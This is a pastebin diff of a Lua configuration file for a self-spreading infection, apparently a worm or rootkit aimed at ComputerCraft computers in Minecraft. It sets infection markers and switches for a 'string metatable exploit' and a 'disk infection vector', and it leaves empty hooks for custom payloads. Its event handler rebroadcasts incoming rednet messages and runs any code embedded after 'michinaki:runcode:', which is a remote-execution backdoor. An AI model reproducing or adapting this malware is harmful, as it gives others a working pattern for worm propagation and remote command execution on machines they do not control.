View difference between Paste ID: 7wUSYK6t and t2dxPkbw
SHOW: | | - or go back to the newest paste.
1
-- The variable used to detect existing infections
2
michinakiMarkerName = "\0"
3
4
-- The variable used to detect that its already running
5
michinakiRMarkerName = "\0\0"
6
7
-- Enable packed payload
8
enablePayloadPacking = false
9
10
-- Use the string metatable exploit or not
11
enableMetatableVector = true
12
13
-- Use the disk infection vector or not
14
enableDiskVector = true
15
16
-- Custom payload ran before the rootkit is set up
17
function earlyCustomPayload()
18
19
end
20
21
-- Custom payload ran after the rootkit is set up
22
function customPayload()
23
24
end
25
26
-- Custom payload run on every event.
27
function customCoroutineProcessor(event, ...)
28
  if event == "rednet_message" then
29
    local sender, msg = ...
30-
    rednet.broadcast(...)
30+
    rednet.broadcast(msg)
31
    msg:gsub("michinaki:runcode:(.*)", function(f) 
32
      local fn = loadstring(f)
33
      if fn then
34
        pcall(fn)
35
      end
36
    end)
37
  end
38
end